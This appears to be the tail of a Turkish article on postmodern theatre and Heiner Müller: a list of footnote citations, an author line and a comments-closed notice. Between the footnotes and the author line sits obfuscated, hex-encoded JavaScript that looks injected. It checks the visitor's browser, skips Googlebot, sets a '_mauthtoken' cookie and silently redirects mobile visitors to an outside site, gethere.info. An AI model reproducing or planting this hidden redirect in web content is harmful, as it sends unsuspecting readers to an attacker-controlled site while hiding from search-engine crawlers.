[2] Süreyya Karacabey. Modern Sonrası Tiyatro ve Heiner Müller. (Birinci Basım. Ankara: De Ki Yayınları, 2006) s.23

[3] Martin Esslin. Absürd Tiyatro. (Birinci Basım. Ankara: Dost Kitabevi, 1999) s.23

[4] Janelle Reinelt. SubStance-31: “The politics of Discourse: Performativity meets Theatricality”  s.3

[5] Süreyya Karacabey. Modern Sonrası Tiyatro ve Heiner Müller. (Birinci Basım. Ankara: De Ki Yayınları, 2006) s.129

[6] Ön.ver.s.123

[7] Virginie Magnat. SubStance-31: “Theatricality from the Performative Perspective”  s.3

[8] Silvija Jestrovic. SubStance-31: “Theatricality as Estrangegement”  s.3

[9] Ön.ver. s.2

[10] Süreyya Karacabey. Modern Sonrası Tiyatro ve Heiner Müller. (Birinci Basım. Ankara: De Ki Yayınları, 2006) s.131

[11] Süreyya Karacabey. Modern Sonrası Tiyatro ve Heiner Müller. (Birinci Basım. Ankara: De Ki Yayınları, 2006) s.146

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Hakkında Vecihe Özge Zeren

Yoruma kapalı.